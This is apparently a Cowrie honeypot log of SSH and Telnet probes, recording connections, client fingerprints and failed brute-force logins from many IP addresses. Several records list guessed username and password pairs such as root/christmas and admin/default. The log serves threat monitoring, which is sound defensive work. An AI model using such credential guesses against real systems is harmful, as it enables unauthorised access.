{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34386,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc6e1d5681f0","protocol":"ssh","message":"New connection: 193.228.128.84:34386 (10.17.0.5:22) [session: dc6e1d5681f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:08.093257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:08.099350Z","src_ip":"193.228.128.84","session":"dc6e1d5681f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:08.202714Z","src_ip":"193.228.128.84","session":"dc6e1d5681f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christmas","message":"login attempt [root/christmas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:08.512712Z","src_ip":"193.228.128.84","session":"dc6e1d5681f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:09.618057Z","src_ip":"193.228.128.84","session":"dc6e1d5681f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3896f8c53409","protocol":"ssh","message":"New connection: 109.237.96.109:59118 (10.17.0.5:22) [session: 3896f8c53409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:15.890372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:15.897004Z","src_ip":"109.237.96.109","session":"3896f8c53409","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:16.037099Z","src_ip":"109.237.96.109","session":"3896f8c53409","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"destroy","message":"login attempt [root/destroy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:16.457344Z","src_ip":"109.237.96.109","session":"3896f8c53409","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:17.556697Z","src_ip":"109.237.96.109","session":"3896f8c53409","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.58.198.185","src_port":46480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3741e94a7e1","protocol":"telnet","message":"New connection: 13.58.198.185:46480 (10.17.0.5:23) [session: c3741e94a7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:27.440898Z"}
{"eventid":"cowrie.session.closed","duration":0.03147554397583008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:27.472260Z","src_ip":"13.58.198.185","session":"c3741e94a7e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":43316,"dst_ip":"159.203.135.109","dst_port":22,"session":"4064f20f37e6","protocol":"ssh","message":"New connection: 20.87.219.67:43316 (159.203.135.109:22) [session: 4064f20f37e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:30.594163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:30.599850Z","src_ip":"20.87.219.67","session":"4064f20f37e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:30.858013Z","src_ip":"20.87.219.67","session":"4064f20f37e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:31.828357Z","src_ip":"20.87.219.67","session":"4064f20f37e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:32:33.061158Z","src_ip":"20.87.219.67","session":"4064f20f37e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02088284492493,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:23.744894Z","src_ip":"180.235.129.180","session":"cc8798b4efe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39910,"dst_ip":"159.203.135.109","dst_port":22,"session":"c55e0935da0d","protocol":"ssh","message":"New connection: 87.251.79.125:39910 (159.203.135.109:22) [session: c55e0935da0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:36.657738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:36.661615Z","src_ip":"87.251.79.125","session":"c55e0935da0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:36.736640Z","src_ip":"87.251.79.125","session":"c55e0935da0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michele","message":"login attempt [root/michele] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:36.956085Z","src_ip":"87.251.79.125","session":"c55e0935da0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:33:38.032450Z","src_ip":"87.251.79.125","session":"c55e0935da0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.3.76","src_port":55736,"dst_ip":"159.203.135.109","dst_port":22,"session":"130b19dad084","protocol":"ssh","message":"New connection: 27.79.3.76:55736 (159.203.135.109:22) [session: 130b19dad084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:10.200327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:10.207608Z","src_ip":"27.79.3.76","session":"130b19dad084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:13.453145Z","src_ip":"27.79.3.76","session":"130b19dad084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.58.198.185","src_port":54992,"dst_ip":"159.203.135.109","dst_port":23,"session":"179fbacea19c","protocol":"telnet","message":"New connection: 13.58.198.185:54992 (159.203.135.109:23) [session: 179fbacea19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:24.662602Z"}
{"eventid":"cowrie.session.closed","duration":0.033529043197631836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:24.696003Z","src_ip":"13.58.198.185","session":"179fbacea19c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:37.500095Z","src_ip":"27.79.3.76","session":"130b19dad084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.6","message":"Connection lost after 28.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:38.759190Z","src_ip":"27.79.3.76","session":"130b19dad084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"89fe5ff618a7","protocol":"ssh","message":"New connection: 103.82.132.16:60270 (10.17.0.5:22) [session: 89fe5ff618a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:44.898123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:44.902766Z","src_ip":"103.82.132.16","session":"89fe5ff618a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:45.167764Z","src_ip":"103.82.132.16","session":"89fe5ff618a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kittycat","message":"login attempt [root/kittycat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:45.932919Z","src_ip":"103.82.132.16","session":"89fe5ff618a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:47.190035Z","src_ip":"103.82.132.16","session":"89fe5ff618a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dce950517b8","protocol":"ssh","message":"New connection: 103.153.68.219:42540 (10.17.0.5:22) [session: 7dce950517b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:52.290874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:52.295296Z","src_ip":"103.153.68.219","session":"7dce950517b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:52.537668Z","src_ip":"103.153.68.219","session":"7dce950517b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex77","message":"login attempt [root/alex77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:53.265754Z","src_ip":"103.153.68.219","session":"7dce950517b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:54.509728Z","src_ip":"103.153.68.219","session":"7dce950517b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7324be5c2b8c","protocol":"telnet","message":"New connection: 79.139.59.21:56814 (159.203.135.109:23) [session: 7324be5c2b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:54.755545Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":54236,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a6f36bf039","protocol":"ssh","message":"New connection: 80.66.85.226:54236 (159.203.135.109:22) [session: a9a6f36bf039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:55.605363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:34:55.611071Z","src_ip":"80.66.85.226","session":"a9a6f36bf039","protocol":"ssh"}
